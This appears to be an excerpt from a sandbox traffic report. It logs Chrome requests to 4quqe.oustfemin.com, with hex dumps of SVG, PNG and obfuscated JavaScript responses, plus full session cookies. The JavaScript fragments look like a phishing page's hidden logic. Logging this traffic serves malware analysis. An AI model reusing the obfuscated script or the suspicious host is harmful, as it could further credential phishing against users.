2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e Data Ascii: 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 35 32 20 31 36 2e Data Ascii: 302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.6952 16.
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 31 39 2e Data Ascii: .1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.505L19.
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e 33 31 32 32 20 32 Data Ascii: 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.3122 2
2024-08-23 14:21:57 UTC	1209	IN	Data Raw: 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 31 35 2e 37 30 34 Data Ascii: 977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513 15.704
2024-08-23 14:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	49809	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1129	OUT	GET /ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	664	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hq%2FLEzhUknRsbNyzZv8DtCmvFTIQOFyWMgxnO7GpVVRBzl3IfCE6hWnYIzGNhAn1Ox7Q2M6a%2F%2BH4uhNpy5%2FuOcP7tmfVgbPChAPQwB2pfp1qXmS%2BK%2F7G36d%2FFF02gw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07d3b588c05-EWR
2024-08-23 14:21:57 UTC	705	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-08-23 14:21:57 UTC	695	IN	Data Raw: 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad 2f b3 39 Data Ascii: Ite~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s/9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.16	49806	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1529	OUT	GET /wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	667	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iHWQ11d6DAo0PlIvhKy%2B5XSLo0i76nuT6RSqd1%2F7%2B%2BMMxyq9sx9PPx3iCP5cGfO0jNL6eljxrYvtCVd4qZv0xgtzKKM9AuDP4xW%2B0T5EJYq3DJ2p%2FupLJvHW%2Bf%2Fs8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07d2ca38c54-EWR
2024-08-23 14:21:57 UTC	702	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 32 32 2e 32 2c 30 2c 30 2c 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c Data Ascii: 22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,
2024-08-23 14:21:57 UTC	841	IN	Data Raw: 6c 2d 38 2e 33 30 39 2d 38 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 Data Ascii: l-8.309-8.309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.64
2024-08-23 14:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.16	49811	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:56 UTC	1101	OUT	GET /34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:57 UTC	651	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:57 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NvPKlPN%2FIJyES%2FMLJTe6tcLI58FqDfdh0QUEzi2Yhc4MHJDpjaR%2FS%2Fo0SJxfmlRC7zht30fE2abm9iM4C3KhK9Nn%2BnDIAYC6bnTTS82b9bd5wPrMqzqz5KCwiKko5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc07dac1918cc-EWR
2024-08-23 14:21:57 UTC	718	IN	Data Raw: 33 37 61 36 0d 0a 63 6f 6e 73 74 20 5f 30 78 35 38 35 61 62 39 3d 5f 30 78 32 64 35 30 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 61 35 32 37 30 32 2c 5f 30 78 36 33 38 65 31 29 7b 63 6f 6e 73 74 20 5f 30 78 31 35 33 37 30 66 3d 5f 30 78 32 64 35 30 2c 5f 30 78 34 34 34 35 64 66 3d 5f 30 78 61 35 32 37 30 32 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 35 66 34 62 30 37 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 31 63 66 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 31 37 35 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 31 37 61 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 33 37 30 66 28 30 78 Data Ascii: 37a6const _0x585ab9=_0x2d50;(function(_0xa52702,_0x638e1){const _0x15370f=_0x2d50,_0x4445df=_0xa52702();while(!![]){try{const _0x5f4b07=-parseInt(_0x15370f(0x1cf))/0x1+-parseInt(_0x15370f(0x175))/0x2+-parseInt(_0x15370f(0x17a))/0x3+parseInt(_0x15370f(0x
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 37 35 29 5d 28 27 73 65 63 74 69 6f 6e 73 27 29 5b 27 63 6c 61 73 73 4c 69 73 74 27 5d 5b 27 63 6f 6e 74 61 69 6e 73 27 5d 28 27 64 2d 6e 6f 6e 65 27 29 26 26 28 76 69 65 77 3d 5f 30 78 35 38 35 61 62 39 28 30 78 31 38 33 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 38 35 61 62 39 28 30 78 37 35 29 5d 28 27 73 65 63 74 69 6f 6e 73 5f 70 64 66 27 29 26 26 21 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 27 73 65 63 74 69 6f 6e 73 5f 70 64 66 27 29 5b 27 63 6c 61 73 73 4c 69 73 74 27 5d 5b 5f 30 78 35 38 35 61 62 39 28 30 78 31 63 33 29 5d 28 5f 30 78 35 38 35 61 62 39 28 30 78 31 37 34 29 29 26 26 28 76 69 65 77 3d 5f 30 78 35 38 35 61 62 39 28 30 78 64 36 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 35 38 35 61 62 39 Data Ascii: 75)]('sections')['classList']['contains']('d-none')&&(view=_0x585ab9(0x183));document[_0x585ab9(0x75)]('sections_pdf')&&!document['getElementById']('sections_pdf')['classList'][_0x585ab9(0x1c3)](_0x585ab9(0x174))&&(view=_0x585ab9(0xd6));document[_0x585ab9
2024-08-23 14:21:57 UTC	1369	IN	Data Raw: 69 65 77 29 5b 5f 30 78 33 36 36 30 31 61 28 30 78 31 62 63 29 5d 28 27 23 62 74 6e 5f 73 69 67 27 29 21 3d 3d 6e 75 6c 6c 29 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 36 30 31 61 28 30 78 37 35 29 5d 28 5f 30 78 33 36 36 30 31 61 28 30 78 31 39 36 29 2b 76 69 65 77 29 5b 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 5d 28 27 23 62 74 6e 5f 73 69 67 27 29 5b 5f 30 78 33 36 36 30 31 61 28 30 78 37 66 29 5d 28 29 3b 65 6c 73 65 7b 69 66 28 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 33 36 36 30 31 61 28 30 78 31 39 36 29 2b 76 69 65 77 29 5b 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 5d 28 5f 30 78 33 36 36 30 31 61 28 30 78 31 62 62 29 29 21 3d 3d 6e 75 6c 6c 29 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 Data Ascii: iew)[_0x36601a(0x1bc)]('#btn_sig')!==null)document[_0x36601a(0x75)](_0x36601a(0x196)+view)['querySelector']('#btn_sig')[_0x36601a(0x7f)]();else{if(document['getElementById'](_0x36601a(0x196)+view)['querySelector'](_0x36601a(0x1bb))!==null)document['getEle
